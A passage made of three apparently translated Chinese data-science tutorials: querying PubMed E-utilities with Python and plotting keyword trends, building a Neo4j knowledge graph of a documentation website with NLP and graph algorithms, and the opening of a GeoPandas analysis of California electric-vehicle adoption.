result = article.find('ReferenceList').find_all('Citation')
references_all.append( [ x.text for x in result ] )
else:
references_all.append( [] )
results_table = pd.DataFrame( {'COI':coi_texts, 'Abstract':abstract_texts, 'MeSH_Terms':meshheadings_all, 'References':references_all} )
现在我们可以使用这个表格来搜索摘要、冲突声明,或使用 MeSH 主题和参考列表制作连接不同研究领域的可视化图表。还有许多其他标签你可以探索,由EFetch返回,以下是如何使用 BeautifulSoup 查看所有这些标签:
efetch_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/efetch.fcgi?db=pubmed&id={id_list}'
efetch_result = urllib.request.urlopen( efetch_url ).read().decode('utf-8')
efetch_bs = BeautifulSoup(efetch_result,features="xml")
tags = efetch_bs.find_all()
for tag in tags:
print(tag)
使用 ELink 检索相似出版物和全文链接
你可能想找一些与你的搜索查询返回的文章相似的文章。这些文章根据使用概率主题模型的相似度评分进行分组。[5] 要检索给定 ID 的相似度评分,你必须在调用ELink时传递cmd=neighbor_score。以下是一个文章的示例:
import urllib.request
import json
id_ = '37055458'
elink_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/elink.fcgi?db=pubmed&id={id_}&retmode=json&cmd=neighbor_score'
elinks = urllib.request.urlopen(elink_url).read().decode('utf-8')
elinks_json = json.loads( elinks )
ids_=[];score_=[];
all_links = elinks_json['linksets'][0]['linksetdbs'][0]['links']
for link in all_links:
[ (ids_.append( link['id'] ),score_.append( link['score'] )) for id,s in link.items() ]
pd.DataFrame( {'id':ids_,'score':score_} ).drop_duplicates(['id','score'])
ELink的另一个功能是根据文章的 ID 提供全文链接,如果你将cmd=prlinks传递给ELink,则可以返回这些链接。
如果你只希望访问那些对公众免费的全文链接,你需要使用包含“pmc”(PubMed Central)的链接。访问付费墙后的文章可能需要通过大学订阅——在通过付费墙下载大量全文文章之前,你应该咨询你所在组织的图书管理员。
下面是一个如何检索出版物链接的代码片段:
id_ = '37055458'
elink_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/elink.fcgi?db=pubmed&id={id_}&retmode=json&cmd=prlinks'
elinks = urllib.request.urlopen(elink_url).read().decode('utf-8')
elinks_json = json.loads( elinks )
[ x['url']['value'] for x in elinks_json['linksets'][0]['idurllist'][0]['objurls'] ]
你还可以在一次调用ELink时检索多个出版物的链接,如下所示:
id_list = '37055458,574140'
elink_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/elink.fcgi?db=pubmed&id={id_list}&retmode=json&cmd=prlinks'
elinks = urllib.request.urlopen(elink_url).read().decode('utf-8')
elinks_json = json.loads( elinks )
elinks_json
urls_ = elinks_json['linksets'][0]['idurllist']
for url_ in urls_:
[ print( url_['id'], x['url']['value'] ) for x in url_['objurls'] ]
示例数据可视化:来自 C-suite 作者的科学出版物
有时,科学出版物的作者可能是公司的 CEO、CSO 或 CTO。利用 PubMed,我们可以分析最新的生命科学行业趋势。冲突声明(在 2017 年作为搜索词引入 PubMed)提供了一个视角,了解哪些作者提供的关键词出现在声明了 C-suite 执行官身份的出版物中。换句话说,就是作者用来描述其发现的关键词。要实现这个功能,只需在 URL 中包含CEO[cois]+OR+CSO[cois]+OR+CTO[cois]作为搜索词,检索所有返回的结果,然后从每个出版物的 XML 输出中提取关键词。每个出版物包含 4 到 8 个关键词。一旦生成语料库,你可以按每年指定关键词的出版物数量除以该年的出版物总数来量化关键词的频率。
例如,如果 10 篇出版物列出了关键词“癌症”,而该年共有 1000 篇出版物,那么关键词频率将是 0.001。使用 seaborn clustermap 模块和关键词频率,你可以生成一个可视化图,其中较深的色带表示关键词频率/年值较大(我已经从可视化中去掉了 COVID-19 和 SARS-COV-2,因为它们的频率远大于 0.05,正如预期的那样)。每年,大约有 1000 到 1500 篇论文被检索出来。
使用 Seaborn 的 clustermap 模块生成的,列出 C-suite 作者的出版物的作者指定关键词频率的热图。
从这个可视化中,几个关于列出 C-suite 作者的出版物的数据洞察变得清晰。首先,一个最为明显的簇(位于底部)包含了在过去五年中在数据集中强烈出现的关键词:癌症、机器学习、生物标志物、人工智能——仅举几个例子。显然,行业在这些领域非常活跃并进行大量出版。第二个簇,位于图中部附近,展示了自 2018 年后从数据集中消失的关键词,包括身体活动、公共卫生、儿童、质谱和 mhealth(或移动健康)。这并不是说这些领域在行业中没有发展,只是出版活动有所减缓。查看图的右下角,你可以提取出最近在数据集中出现的术语,包括液体活检和精准医学——这些确实是目前医学领域的两个非常“热门”的领域。通过进一步检查出版物,你可以提取出公司的名称和其他感兴趣的信息。下面是我编写的生成此可视化的代码:
import pandas as pd
import time
from bs4 import BeautifulSoup
import seaborn as sns
from matplotlib import pyplot as plt
import itertools
from collections import Counter
from numpy import array_split
from urllib.request import urlopen
class Searcher:
# Any instance of searcher will search for the terms and return the number of results on a per year basis #
def __init__(self, start_, end_, term_, **kwargs):
self.raw_ = input
self.name_ = 'searcher'
self.description_ = 'searcher'
self.duration_ = end_ - start_
self.start_ = start_
self.end_ = end_
self.term_ = term_
self.search_results = list()
self.count_by_year = list()
self.options = list()
# Parse keyword arguments
if 'count' in kwargs and kwargs['count'] == 1:
self.options = 'rettype=count'
if 'retmax' in kwargs:
self.options = f'retmax={kwargs["retmax"]}'
if 'run' in kwargs and kwargs['run'] == 1:
self.do_search()
self.parse_results()
def do_search(self):
datestr_ = [self.start_ + x for x in range(self.duration_)]
options = "".join(self.options)
for year in datestr_:
this_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/esearch.fcgi/' + \
f'?db=pubmed&term={self.term_}' + \
f'&mindate={year}&maxdate={year + 1}&{options}'
print(this_url)
self.search_results.append(
urlopen(this_url).read().decode('utf-8'))
time.sleep(.33)
def parse_results(self):
for result in self.search_results:
xml_ = BeautifulSoup(result, features="xml")
self.count_by_year.append(xml_.find('Count').text)
self.ids = [id.text for id in xml_.find_all('Id')]
def __repr__(self):
return repr(f'Search PubMed from {self.start_} to {self.end_} with search terms {self.term_}')
def __str__(self):
return self.description
# Create a list which will contain searchers, that retrieve results for each of the search queries
searchers = list()
searchers.append(Searcher(2022, 2023, 'CEO[cois]+OR+CTO[cois]+OR+CSO[cois]', run=1, retmax=10000))
searchers.append(Searcher(2021, 2022, 'CEO[cois]+OR+CTO[cois]+OR+CSO[cois]', run=1, retmax=10000))
searchers.append(Searcher(2020, 2021, 'CEO[cois]+OR+CTO[cois]+OR+CSO[cois]', run=1, retmax=10000))
searchers.append(Searcher(2019, 2020, 'CEO[cois]+OR+CTO[cois]+OR+CSO[cois]', run=1, retmax=10000))
searchers.append(Searcher(2018, 2019, 'CEO[cois]+OR+CTO[cois]+OR+CSO[cois]', run=1, retmax=10000))
# Create a dictionary to store keywords for all articles from a particular year
keywords_dict = dict()
# Each searcher obtained results for a particular start and end year
# Iterate over searchers
for this_search in searchers:
# Split the results from one search into batches for URL formatting
chunk_size = 200
batches = array_split(this_search.ids, len(this_search.ids) // chunk_size + 1)
# Create a dict key for this searcher object based on the years of coverage
this_dict_key = f'{this_search.start_}to{this_search.end_}'
# Each value in the dictionary will be a list that gets appended with keywords for each article
keywords_all = list()
for this_batch in batches:
ids_ = ','.join(this_batch)
# Pull down the website containing XML for all the results in a batch
abstract_url = f'http://eutils.ncbi.nlm.nih.gov/entrez//eutils/efetch.fcgi?db=pubmed&id={ids_}'
abstract_ = urlopen(abstract_url).read().decode('utf-8')
abstract_bs = BeautifulSoup(abstract_, features="xml")
articles_iterable = abstract_bs.find_all('PubmedArticle')
# Iterate over all of the articles from the website
for article in articles_iterable:
result = article.find_all('Keyword')
if result is not None:
keywords_all.append([x.text for x in result])
else:
keywords_all.append([])
# Take a break between batches!
time.sleep(1)
# Once all the keywords are assembled for a searcher, add them to the dictionary
keywords_dict[this_dict_key] = keywords_all
# Print the key once it's been dumped to the pickle
print(this_dict_key)
# Limit to words that appeared approx five times or more in any given year
mapping_ = {'2018to2019':2018,'2019to2020':2019,'2020to2021':2020,'2021to2022':2021,'2022to2023':2022}
global_word_list = list()
for key_,value_ in keywords_dict.items():
Ntitles = len( value_ )
flattened_list = list( itertools.chain(*value_) )
flattened_list = [ x.lower() for x in flattened_list ]
counter_ = Counter( flattened_list )
words_this_year = [ ( item , frequency/Ntitles , mapping_[key_] ) for item, frequency in counter_.items() if frequency/Ntitles >= .005 ]
global_word_list.extend(words_this_year)
# Plot results as clustermap
global_word_df = pd.DataFrame(global_word_list)
global_word_df.columns = ['word', 'frequency', 'year']
pivot_df = global_word_df.loc[:, ['word', 'year', 'frequency']].pivot(index="word", columns="year",
values="frequency").fillna(0)
pivot_df.drop('covid-19', axis=0, inplace=True)
pivot_df.drop('sars-cov-2', axis=0, inplace=True)
sns.set(font_scale=0.7)
plt.figure(figsize=(22, 2))
res = sns.clustermap(pivot_df, col_cluster=False, yticklabels=True, cbar=True)
结论
阅读完这篇文章后,你应该能够从制定高度定制的科学文献搜索查询,到生成数据可视化以进行更深入的审查。虽然有其他更复杂的方法可以使用各种 E-utilities 的附加功能来访问和存储文章,但我尝试展示了最简单的一组操作,应该适用于对科学出版趋势感兴趣的数据科学家。通过熟悉我所呈现的 E-utilities,你将能更好地理解科学文献中的趋势和联系。如前所述,通过掌握 E-utilities 及其在 NCBI 数据库广阔宇宙中的操作,还有许多其他项目可以解锁。
要了解更多关于访问 NCBI 的信息,你可以下载 2008 年之前举办的一系列 NIH 课程的材料或查看下面的参考资料。要保持对 E-Utilities 的更新,包括可能的新 API,你可能想要订阅 NCBI 那看起来非常 90 年代的邮件列表,请访问这个网站。最后,在 arxiv.org 上搜索“PubMed”将返回一些结果,这些结果可以激发利用这些数据的研究项目。
参考文献
[2] Chapman D. PubMed 的高级搜索功能。J Can Acad Child Adolesc Psychiatry. 2009 年 2 月;18(1):58–9. PMID: 19270851; PMCID: PMC2651214.
[3] Sayers E. E-utilities 深入探讨:参数、语法及更多内容。2009 年 5 月 29 日 [更新于 2022 年 11 月 30 日]。见:Entrez 编程实用工具帮助 [互联网]。Bethesda (MD): 国家生物技术信息中心 (US); 2010-. 可从 www.ncbi.nlm.nih.gov/books/NBK25499/
获得
[4] ftp.ncbi.nlm.nih.gov/pub/PowerTools/eutils/Oct.2007/slides/Lecture1.pdf
[5] Lin J, Wilbur WJ. PubMed 相关文献:基于主题的内容相似性概率模型。BMC Bioinformatics. 2007 年 10 月 30 日;8:423. doi: 10.1186/1471–2105–8–423. PMID: 17971238; PMCID: PMC2212667. 可从 pubmed.ncbi.nlm.nih.gov/17971238/
获得
[6] library.mskcc.org/blog/2019/07/conflict-of-interest-statement-field-in-pubmed/
使用自然语言处理和知识图谱分析您的网站
结合各种自然语言处理技术,构建一个表示您网站的知识图谱
·
关注 发表在 Towards Data Science · 14 分钟阅读 · 2023 年 1 月 5 日
--
网站反映了公司。大多数情况下,它用于向用户提供各种产品和服务的信息并推动销售。然而,网站随着时间的推移而增长和变化,许多*的和大的变化被引入。因此,网站最终可能会变得混乱,无法实现其最初的使命。因此,定期评估网站的结构和内容以使其尽可能优化是有意义的。优化网站是一个庞大的业务,因此有多种商业工具可以帮助你进行 SEO 和其他建议。然而,我将向你展示如何通过一点编码知识创建网站内容的全面而详细的表示,从而允许你分析和改进它。
你可以使用任何现有的网络爬虫工具提取网站的结构。此外,利用各种自然语言处理技术评估网站的内容也是有意义的。由于大多数网站是受版权保护的,我决定在本教程中使用 Neo4j 文档网站作为示例。文档网站的内容在 CC 4.0 许可证 下提供。不过,你可以将类似的工作流程应用于任何你希望的网页。
从文档中提取信息以构建知识图谱。图像由作者提供。
这可能看起来有点神奇(如果你忽略我的箭头),如何利用你网站上的信息构建知识图谱。在这篇文章中,我旨在为信息提取带来更多的清晰度,并为你提供可以自己使用的工具。我曾经使用类似的方法处理过 医疗文档、新闻 或甚至 加密货币报告,现在我们将利用 NLP 和知识图谱来分析一个网站。
数据收集和建模工作流程
数据收集和建模工作流程。图像由作者提供。
数据收集和预处理分为三个部分。
-
网络爬虫:一个 Python 脚本,用于遍历文档网页并收集链接和文本
-
NLP 流程:从文本中提取关键词并计算文本嵌入,以检测相似/重复内容
-
知识图谱:将结果存储为知识图谱以进行进一步分析
数据收集和预处理的代码可在 GitHub 上的 Jupyter 笔记本 中找到。
你不需要自己运行数据收集和处理,因为这需要几个*时。我已经准备了一个 Neo4j dump ,如果你想跟随文章中的分析,可以使用这个数据。
网页抓取器
我通常使用Python Selenium进行网页抓取,但你可以使用任何其他库或语言来从网站中提取相关信息。我不会详细介绍代码,因为这篇文章的目标不是教你如何抓取网站。然而,你可以查看处理网页抓取的Jupyter notebook。
对于 Neo4j 文档网站,我避免抓取左侧和顶部导航栏的链接,因为这会在图中引入大量噪音,因为大多数页面都有相同的导航栏。
在抓取过程中会忽略导航栏中的链接。图片由作者提供。
在 Neo4j 文档网站中,我希望捕捉到用户如何在不使用导航栏的情况下遍历文档。否则,我们将引入噪音,因为所有页面都会链接到导航栏中的相同页面。此外,我专注于从文档网页中提取文本和链接,因此一些产品或营销页面的内容没有被抓取。
自然语言处理
自然语言处理步骤包括提取关键词和计算文本嵌入,以检测相似和重复的内容。在考虑训练自己的 NLP 模型之前,查看HuggingFace 模型库是否有任何公开可用的模型适合你的用例总是一个好主意。
经过一些研究,我发现了一个由Yankı Ekin Yüksel提供的关键词提取模型。我非常喜欢使用 transformers 和 HuggingFace 加载和运行模型的简单性。
以下代码加载关键词提取模型并准备一个 NLP 流水线。
tokenizer = AutoTokenizer.from_pretrained("yanekyuk/bert-uncased-keyword-extractor")
model = AutoModelForTokenClassification.from_pretrained(
"yanekyuk/bert-uncased-keyword-extractor"
)
nlp = pipeline("ner", model=model, tokenizer=tokenizer)
你不需要下载模型或担心文件路径。相反,你可以简单地将模型名称定义为 tokenizer 和模型的参数,transformers 库会为你完成所有工作。
流水线返回的令牌不一定是一个单词。因此,我们需要在 NLP 流水线完成后从令牌构建回单词。
def extract_keywords(text):
"""
Extract keywords and construct them back from tokens
"""
result = list()
keyword = ""
for token in nlp(text):
if token['entity'] == 'I-KEY':
keyword += token['word'][2:] if \
token['word'].startswith("##") else f" {token['word']}"
else:
if keyword:
result.append(keyword)
keyword = token['word']
# Add the last keyword
result.append(keyword)
return list(set(result))
extract_keywords("""
Broadcom agreed to acquire cloud computing company VMware in a $61 billion (€57bn) cash-and stock deal.
""") # ['cloud computing', 'vmware', 'broadcom']
这个示例展示了模型从给定文本中提取了云计算、vmware和broadcom。这些结果似乎非常适合我们的用例,因为我们正在分析 Neo4j 文档,其中应该包含许多技术关键词。
接下来,我们还需要计算文本嵌入,以帮助我们识别相似和重复的内容。我在 HuggingFace 模型库中搜索了一下,发现了一个可以用来识别相似句子或段落的句子变换模型。此外,该模型只需三行代码即可加载和使用。
from sentence_transformers import SentenceTransformer
model = SentenceTransformer("sentence-transformers/all-MiniLM-L6-v2")
def generate_embeddings(text):
embeddings = model.encode(text)
return [float(x) for x in embeddings.tolist()]
我们需要将结果转换为浮点数列表,因为 Neo4j Driver 不支持 NumPy 数组。
知识图谱构建
在完成网页抓取和自然语言处理步骤后,我们可以继续构建知识图谱。你可能已经猜到,我们将使用 Neo4j 来存储我们的知识图谱。你可以使用免费云实例或设置本地环境。
初始导入后的图形模式定义如下。
初始图形模式。图像由作者提供。
在我们图表的中心是网页。我们知道它们的 URL 地址、文本嵌入值,以及网页抓取工具是否提取了页面文本。页面还可以链接或重定向到其他页面,这通过相应的关系表示。作为 NLP 工作流的一部分,我们还检测了网站上的关键词,并将其作为单独的节点存储。
如果你对数据导入的代码实现感兴趣,可以查看预处理笔记本。否则,我们将直接进入网络分析部分。
网络分析
我准备了一个 Neo4j 数据库转储 ,如果你不想抓取 Neo4j 文档但仍想跟随网络分析示例,可以使用这个转储。
Neo4j 文档网站知识图谱的样本子图。图像由作者提供。
我将带你了解一些我认为有趣的网站网络分析示例。我们将使用图数据科学 Python客户端,这是一个理想的工具,可以用来从 Python 进行 Neo4j 网络分析。
包含所有相关网络分析代码的 Jupyter Notebook可在 GitHub 上获得。
总体统计数据
首先,我们将通过使用apoc.meta.stats
过程来评估数据集的大*,统计节点和关系的数量。
gds.run_cypher("""
CALL apoc.meta.stats()
YIELD labels, relTypesCount
""")
我们的知识图谱包含 15370 页和 4199 个关键字,还有 62365 个链接和 723 个重定向。我没有预料到这么多页面。然而,考虑到文档涵盖了多个产品的多个版本,网站上的页面数量激增是有意义的。此外,许多链接指向 Neo4j 网站外的页面。
接下来,我们将评估从多少页面成功检索到内容信息。
gds.run_cypher("""
MATCH (p:Page)
RETURN p.has_text AS has_text,
count(*) AS count
""")
我们已经成功检索了 9688 个网页的内容并计算了文本嵌入。网络爬虫专注于从文档网站中恢复内容,同时大多忽略了产品和类似页面的结构和文本。因此,Neo4j 网站上有 2972 个我们尚未检索到内容的页面。最后,Neo4j 网站链接到其主要域外的 2710 个页面。在网络爬虫过程中,Neo4j 文档网站外的页面被明确忽略。
出于好奇,我们可以列出 Neo4j 最常链接的十个随机外部网页。
gds.run_cypher("""
MATCH (p:Page)
WHERE p.has_text IS NULL
RETURN p.url AS page,
count{(p)<-[:LINKS_TO|REDIRECTS]-()} AS links
ORDER BY links DESC
LIMIT 5
""")
结果
最常链接的网页实际上是一个本地 URL,即 Neo4j 浏览器的默认地址。以下是一些 GitHub 上 APOC 发布的链接。最后,看起来 Neo4j 有一些支持与微软 NLP 和 AWS 云 API 集成的产品或服务,否则他们可能不会在文档中链接这些内容。
识别死链
我们将通过识别死链或损坏的链接来进行处理。损坏的链接是指指向不存在网页的链接。与大多数网站一样,Neo4j 文档有一个指定的 404 网页。网络爬虫将“404”文本值分配给任何响应 404 页面的 URL。
gds.run_cypher("""
MATCH (:Page)-[:LINKS_TO|REDIRECTS]->(:Page{is_404:true})
RETURN count(*) AS brokenLinkCount
""")
数据集中有 241 个损坏的链接。考虑到数据库中总共有 62 千个链接,损坏的链接数量听起来很少。然而,如果你在你的网站上执行了此分析,你可以将结果转发给相关团队以修复这些链接。
查找最短路径
大多数网站的设计旨在轻轻推动用户沿着路径到达最终目标。例如,如果你经营一个电子商务网站,那么目标可能是购买事件。借助 Neo4j,你可以分析用户可能遵循的所有路径,以到达期望的目的地。由于我们处理的是文档网站,我们无法探讨用户如何最终完成网站上的购买。然而,我们可以应用相同的技术,评估网站各部分之间的最短路径。
以下代码查找两个给定网页之间的所有最短路径。
gds.run_cypher("""
MATCH (start:Page {url:"https://neo4j.com/docs"}),
(end:Page {url:"https://console.neo4j.io"})
MATCH p=shortestPath((start)-[:LINKS_TO|REDIRECTS*..10]->(end))
RETURN [n in nodes(p) | n.url] AS path
""")
结果显示,用户必须遍历以下网页才能从文档主页到达 Aura 控制台页面:
将你的网站表示为知识图谱可以显著提高对网页设计流程的理解,从而帮助你优化它们。
链接分析
接下来,我们将使用中心性算法对网页的重要性进行排名。例如,假设我们简单地将网页的排名定义为传入链接的数量。在这种情况下,我们可以利用度中心性算法来对网页的重要性进行排名。
要执行图数据科学库中的任何图算法,我们首先需要在内存中投影一个图。
G, metadata = gds.graph.project('structure', 'Page',
['LINKS_TO', 'REDIRECTS'])
使用图数据科学库的投影功能,你可以选择要用图算法评估的知识图谱的特定子图。在这个例子中,我们选择了Page节点和LINKS_TO及REDIRECTS关系。为了简便起见,我们将链接和重定向视为相同。然而,进行更深入的网络分析时,我们可以定义一些权重,也许将重定向视为比链接更重要。
以下代码将计算传入度中心性,即网页所拥有的传入链接或重定向的数量。
df = gds.degree.stream(G, orientation="REVERSE")
df["url"] = [d["url"] for d in gds.util.asNodes(df["nodeId"].to_list())]
df.sort_values("score", ascending=False, inplace=True)
df.head()
需要注意的一点是,我们使用了图数据科学 Python 客户端与数据库进行交互,因此如果你习惯于 Cypher 过程调用,语法可能会略有不同。结果如下:
开发者知识库页面有 598 个传入链接。许多链接也指向开发者博客和图形摘要的特定标签。我认为,许多文档网站都指向可以在图形摘要的博客中找到的具体示例。如果我们要更好地理解预期流程,我们可以深入分析这些链接的来源等。
有时传入链接的数量不足以作为排名指标。Google 的创始人意识到这个问题,因此他们提出了最著名的图算法 PageRank,它考虑了传入链接的数量及其来源。例如,如果网页直接链接自主页或仅有少数人访问的外围文档页面,则有所不同。
以下代码将计算 PageRank 分数并将其与度数据框合并。
pr_df = gds.pageRank.stream(G)
pr_df["pagerank"] = pr_df.pop("score")
combined_df = df.merge(pr_df, on="nodeId")
combined_df.sort_values("pagerank", ascending=False, inplace=True)
现在我们可以根据 PageRank 分数检查前五个最重要的网页。
得分列表示传入链接和重定向的数量,而 PageRank 列则保存 PageRank 分数。
有趣的是,只有开发者知识库页面在使用 PageRank 而不是度中心性时保留了其位置。看来 GraphConnect 非常重要,因为它仍然是第二个最重要的网页。作为一名网页 UX 设计师,你可以利用这些信息尝试更改网站结构,以便最新的 GraphConnect 可能会更重要。记住,我们只是对这个网络分析进行了初步探索。然而,你可以找到有趣的模式,然后深入了解网页流程并进行优化。
关键字分析和共现主题聚类
在本次分析的最后部分,我们将查看关键字分析。
网页及其关键字的图形表示。图像由作者提供。
在正确的网页上拥有合适的关键字是搜索引擎优化的关键方面之一。通过检查页面上最频繁的关键字,我们可以获得页面的高层次概述。
gds.run_cypher("""
MATCH (k:Keyword)
RETURN k.name AS keyword,
count {(k)<-[:HAS_KEYWORD]-()} AS mentions
ORDER BY mentions DESC
LIMIT 5
""")
结果
结果看起来正是我们预期的。网页讨论了节点、neo4j、图表和 Java。不确定为什么会有剪贴板。也许文档中有很多“复制到剪贴板”的部分。
我们可以稍微深入,查看 URL 地址中包含“graph-data-science”的网页上最频繁的关键字。通过这种方式,我们主要筛选出 Neo4j 图数据科学库文档。
gds.run_cypher("""
MATCH (p:Page)-[:HAS_KEYWORD]->(k:Keyword)
WHERE p.url CONTAINS "graph-data-science"
RETURN k.name AS keyword,
count(*) AS mentions
ORDER BY mentions DESC
LIMIT 5
""")
结果
它看起来与整体关键字存在情况非常相似,只是“algorithm”这个关键字在这里出现得更频繁。现在,我们可以继续通过其他部分或单独页面深入挖掘关键字。知识图谱是进行深入分析或通过指定的用户流程分析关键字和内容分布的绝佳工具。此外,如果你使用了能够检测短尾和长尾关键字的 NLP 模型,这将大大有助于 SEO 分析和优化。
最后,我们还可以只用几行代码执行关键字共现聚类。关键字共现聚类可以理解为识别主题的任务,其中主题由文本语料库中频繁共现的多个关键字组成。
关键字共现主题聚类输出的示意图。图像由作者提供。
Neo4j 中关键字共现聚类或主题聚类的工作流程如下:
-
投影一个包含相关信息的内存图。
-
创建一个 CO_OCCUR 关系,以便在文本中常常一起出现的关键字之间建立联系。
-
运行像 Louvain 方法这样的社区检测算法来识别关键字的社区或集群。
我们将开始通过投影一个包含所有相关信息的内存图。我们需要投影 Page 和 Keyword 节点以及连接的 HAS_KEYWORD 关系。由于我们要检查共同出现的关键词集群,而不是相似网页的组,因此我们需要在图投影中反转关系的方向。
附注:如果你离开自然方向并按照示例进行操作,你将根据提到的关键词识别出相似网页的集群
G, metadata = gds.graph.project(
"keywords", ["Page", "Keyword"], {"HAS_KEYWORD": {"orientation": "REVERSE"}}
)
接下来,我们需要在经常一起出现的关键词之间创建CO_OCCUR关系。为了解决这个任务,我们将使用 Node Similarity 算法。Node Similarity 默认使用Jaccard 相似系数来计算两个节点之间的相似性。
在这个示例中,每个关键词都有一组包含它的网页。如果基于网页的关键词对之间的 Jaccard 系数大于 0.40,则会在它们之间创建一个新的CO_OCCUR关系。我们使用变异模式将算法的结果存储回内存中的投影图。
gds.nodeSimilarity.mutate(
G, mutateRelationshipType="CO_OCCUR", mutateProperty="score",
similarityCutoff=0.4
)
最后,我们将使用 Louvain 方法算法,一个社区检测算法,来识别关键词的集群。该算法输出每个节点及其社区 ID。因此,我们需要根据社区 ID 对结果进行分组,以创建形成主题或集群的关键词列表。
topic_df = gds.louvain.stream(G, nodeLabels=["Keyword"], relationshipTypes=["CO_OCCUR"])
topic_df["keyword"] = [
n["name"] for n in gds.util.asNodes(topic_df["nodeId"].to_list())
]
topic_df.groupby("communityId").agg(
{"keyword": ["size", list]}
).reset_index().sort_values([("keyword", "size")], ascending=False).head()
结果
由于我们遵循的主题聚类工作流程是一种无监督技术,我们需要手动分配总体主题名称。例如,我们可以观察到第一个最大主题包含 chewbacca、jedi、christmas day、independence day 等关键词。这是一个有趣的节日与星球大战的混合。我们可以探索为什么节日和星球大战混合在一起。此外,第二大主题似乎谈论了各种 panama 和 paradise papers 以及涉及的公司和人物。
总结
在我看来,知识图谱和自然语言处理技术是天作之合。如前所述,我见过类似的方法来分析医学文档、新闻甚至加密报告。这个想法是使用 NLP 和其他工具从非结构化数据中提取有价值的信息,然后用于构建知识图谱。知识图谱提供了一种友好且灵活的提取信息的结构,可用于支持各种分析工作流程。
本博客文章的所有代码都可以在GitHub上找到。
分析加州电动汽车的采纳率
使用 DMV 数据与 Pandas 和 GeoPandas
·
关注 发表在 Towards Data Science ·12 min read·2023 年 4 月 26 日
--
特斯拉(图片由 Matt Weissinger 提供,来源于 pexels.com)
加州正在推动积极的社会变革,朝着净零排放的未来迈进,而其中一个重要部分就是其公民用于日常生活的车辆。结合 通货膨胀减少法案(为新购电动车提供最高 $7,500 的税收抵免,并为二手电动车提供最高 $4,000 的税收抵免——具体取决于车辆组装地点和电池材料来源),加州还实施了 先进清洁汽车 II(ACC II)法规,要求汽车制造商到 2026 年销售中至少 35%必须是电动车。2026 年之后,该要求每年线性增加,直到 2035 年所有销售必须是电动车。
本分析专注于加州人在这些新激励措施下的电动车(EV)采纳率。我将 EV 采纳率定义为:
EV 采纳率 = (总电动车购买量)/(总车辆购买量)
在本分析中,我们将探讨加州是否在轨道上达到 2026 年 35% EV 采纳率的目标,并进一步分析地理层面和汽车制造商层面的进展。
重要说明: 由于 35%的要求最终是基于车辆销售,而 DMV 提供的是车辆注册数量(而非车辆销售数量),因此本分析通过注册数量来近似销售情况。具体而言,对于每年的 DMV 数据,我仅使用了注册日期前三年的车辆来近似为新车购买。
数据
-
DMV 车辆计数数据(包括按车型年份、汽车制造商、重量类别、燃料类型和邮政编码划分的车辆注册数量),涵盖 2018 年、2020 年、2021 年和 2022 年
地理数据:
过程
技术方法(GeoPandas 教程)
如果你只对结果感兴趣,可以跳过这一部分。
这个项目让我有机会学习如何使用 GeoPandas,一个用于数据分析项目的 Python 库,特别是有空间组件的数据。
使用 GeoPandas 的一般工作流程是将你想要绘制的数据(例如邮政编码中的车辆和电动车数量)与一个相关的几何(例如邮政编码的几何边界)连接在一个名为 GeoDataFrame 的结构中。GeoDataFrame 是 GeoPandas 的核心,是 Pandas DataFrame 对象的子类,并包含一个几何列。
对我而言,我有邮政编码级别的车辆计数,但我想在县级别绘制车辆计数。我从所需的库导入开始,并读取了邮政编码和县边界的 geojson 文件。
import geopandas as gpd
import matplotlib.pyplot as plt
zip_codes = gpd.read_file(zip_code_geojson_path)
counties = gpd.read_file(county_geojson_path)
GeoDataFrames 只能有一个“活动”几何列。无论哪个列是活动的,都将用于连接、绘图或其他应用。你可以使用 GeoDataFrame.set_geometry() 方法将几何设置为不同的列。此外,当两个 GeoDataFrames 连接时,一个活动几何列将被丢弃(因为 GeoDataFrame 只能有一个活动几何列)
由于我想将邮政编码和县的 GeoDataFrames 结合起来,但又保留两者的几何信息,我重命名了邮政编码几何列。我还制作了县几何列的副本。
重命名 zip_code 几何列
zip_codes.rename_geometry(‘zip_code_geometry’, inplace=True)
创建副本县几何列
counties[‘county_geometry’] = counties.geometry
由于一些邮政编码的边界与多个县的边界重叠,并且我只想为一个县分配一个邮政编码,我取了每个邮政编码边界的质心(即对象的几何中心),然后查看该邮政编码的质心是否位于一个县的边界内。实际上,我将每个邮政编码的整体形状简化为其中心点,然后确定给定邮政编码的中心点位于哪个县的范围内。
为此,我首先将每个 GeoDataFrame 的 CRS(坐标参考系统)从 4326(默认值)设置为 3857。这实际上将我们的坐标系统从地球模型转换为地图:
zip_codes.to_crs(3857, inplace=True)
counties.to_crs(3857, inplace=True)
然后,我计算了邮政编码的质心,并将这些质心设置为活动几何:
计算邮政编码质心
zip_codes[‘zip_code_centroid’] = zip_codes.centroid
将邮政编码的活动几何设置为质心列
zip_codes.set_geometry(‘zip_code_centroid’, inplace=True)
最后,我将两个 GeoDataFrames 连接起来:
zip_codes_with_county = gpd.sjoin(zip_codes, counties, how=‘inner’, predicate=‘intersects’)
一旦我有了一个包含邮政编码名称、县名称、邮政编码几何形状和县几何形状的 GeoDataFrame,我将按邮政编码将车辆计数和电动车计数合并到我的 GeoDataFrame 中,并将计数汇总到县级。这使我得到了一个包含 58 行(即加利福*亚 58 个县)的 GeoDataFrame,其中包括县名称、县地理信息、车辆计数和电动车计数。非常适合绘图!
下面是绘图代码的一个示例。在其中,我还包含了一个额外的 GeoDataFrame,展示了加利福*亚的一些城市,以作为我的图中的地标:
电动车采纳率 2022
fig, ax = plt.subplots(figsize = (10, 10))
county_gdf.plot(ax=ax,
column=’ev_rate_2022',
legend=True,
legend_kwds={‘shrink’:0.5},
cmap = ‘Greens’)
city_gdf.plot(ax=ax,
color = ‘orange’,
markersize = 10)
for idx, row in city_gdf.iterrows():
plt.annotate(text=row[‘city’], xy=row[‘coords’], horizontalalignment=’center’, color=’Black’)
ax.get_xaxis().set_visible(False)
ax.get_yaxis().set_visible(False)
for edge in [‘right’, ‘bottom’, ‘top’,’left’]:
ax.spines[edge].set_visible(False)
ax.set_title(‘CA EV Adoption Rate (2022) by County’, size=18, weight=’bold’)
这段代码生成了下一节(结果)中的加利福*亚首张地图。
结果
电动车采纳率(整体):
上面是一个图表,展示了 2018 年至 2022 年整个加利福*亚州的电动车采纳率。电动车被定义为电池电动汽车、氢燃料电池汽车或插电式混合动力车。然而,电动车不包括混合动力汽油车(因为这些不符合税收优惠要求或汽车制造商规定)。例如,2019 年的丰田普锐斯将不算在内。
